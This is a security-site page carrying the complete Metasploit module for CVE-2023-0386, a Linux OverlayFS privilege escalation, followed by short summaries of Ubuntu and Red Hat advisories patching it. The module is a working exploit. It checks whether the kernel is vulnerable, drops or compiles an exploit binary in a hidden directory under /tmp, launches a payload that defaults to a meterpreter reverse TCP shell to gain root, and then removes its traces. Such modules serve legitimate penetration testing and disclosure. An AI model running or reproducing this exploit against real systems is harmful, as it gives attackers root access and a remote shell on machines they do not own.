Headline
Linux OverlayFS Local Privilege Escalation
This Metasploit module exploit targets the Linux kernel bug in OverlayFS. A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Local Privilege Escalation via CVE-2023-0386', 'Description' => %q{ This exploit targets the Linux kernel bug in OverlayFS. A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system. }, 'License' => MSF_LICENSE, 'Author' => [ 'xkaneiki', # Exploit development 'sxlmnwb', # Exploit development 'Takahiro Yokoyama', # Metasploit Module ], 'DisclosureDate' => '2023-03-22', 'SessionTypes' => ['shell', 'meterpreter'], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64, ], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => { 'AppendExit' => true, 'PrependFork' => true, 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' }, 'Privileged' => true, 'References' => [ [ 'CVE', '2023-0386' ], [ 'URL', 'https://github.com/sxlmnwb/CVE-2023-0386' ], [ 'URL', 'https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept-exploits/overlayfs-cve-2023-0386' ], [ 'URL', 'https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/' ], [ 'URL', 'https://www.vicarius.io/vsociety/posts/cve-2023-0386-a-linux-kernel-bug-in-overlayfs' ], ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] } ) ) register_options([ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', '60' ]) ]) register_advanced_options([ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def check unless kernel_arch.include?('x64') return CheckCode::Safe("System architecture #{kernel_arch} is not supported") end kernel_version = Rex::Version.new(kernel_release.split('-').first) if kernel_version < Rex::Version.new('5.11') || kernel_version.between?(Rex::Version.new('5.15.91'), Rex::Version.new('5.16')) || Rex::Version.new('6.1.9') <= kernel_version return CheckCode::Safe("Linux kernel version #{kernel_version} is not vulnerable") end unless userns_enabled? return CheckCode::Safe('Unprivileged user namespaces are not permitted') end vprint_good('Unprivileged user namespaces are permitted') CheckCode::Appears("Linux kernel version found: #{kernel_version}") end def base_dir datastore['WritableDir'].to_s end def exploit if !datastore['ForceExploit'] && is_root? fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end # Upload exploit executable exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}" mkdir(exploit_dir) register_dir_for_cleanup(exploit_dir) if live_compile? vprint_status('Live compiling exploit on system...') upload_and_compile(exploit_path, exploit_source('CVE-2023-0386', 'cve_2023_0386.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread') else vprint_status('Dropping pre-compiled exploit on system...') upload_and_chmodx(exploit_path, exploit_data('CVE-2023-0386', 'cve_2023_0386.x64.elf')) end # Upload payload executable payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx(payload_path, generate_payload_exe) # Launch exploit print_status('Launching exploit...') cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}" vprint_status("Running: #{cmd_string}") begin output = cmd_exec(cmd_string, nil, datastore['TIMEOUT']) vprint_status(output) rescue Error => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error("Exploit failed: #{e}") ensure # rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory. cmd_exec("rm -rf '#{exploit_dir}'") end endendRelated news
A use-after-free flaw was found in the Linux kernel’s mm/mremap memory address space accounting source code. This issue occurs due to a race condition between rmap walk and mremap, allowing a local user to crash the system or potentially escalate their privileges on the system.
Ubuntu Security Notice 6043-1 - It was discovered that the Traffic-Control Index implementation in the Linux kernel did not properly perform filter deactivation in some situations. A local attacker could possibly use this to gain elevated privileges. Please note that with the fix for thisCVE, kernel support for the TCINDEX classifier has been removed. It was discovered that the OverlayFS implementation in the Linux kernel did not properly handle copy up operation in some conditions. A local attacker could possibly use this to gain elevated privileges.
Red Hat Security Advisory 2023-1984-01 - This is a kernel live patch module which is automatically loaded by the RPM post-install script to modify the code of a running kernel.
An update for kernel-rt is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-0386: A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on t...
Red Hat Security Advisory 2023-1677-01 - The redhat-virtualization-host packages provide the Red Hat Virtualization Host. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. Red Hat Virtualization Hosts are installed using a special build of Red Hat Enterprise Linux with only the packages required to host virtual machines. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks. The ovirt-node-ng packages provide the Red Hat Virtualization Host. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. Red Hat Virtualization Hosts are installed using a special build of Red Hat Enterprise Linux with only the packages required to host virtual machines. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks. Issues addressed include heap overflow and integer overflow vulnerabilities.
An update for kernel-rt is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-0386: A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.
An update for kpatch-patch is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2023-0386: A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.
Red Hat Security Advisory 2023-1660-01 - This is a kernel live patch module which is automatically loaded by the RPM post-install script to modify the code of a running kernel.
Red Hat Security Advisory 2023-1659-01 - This is a kernel live patch module which is automatically loaded by the RPM post-install script to modify the code of a running kernel.
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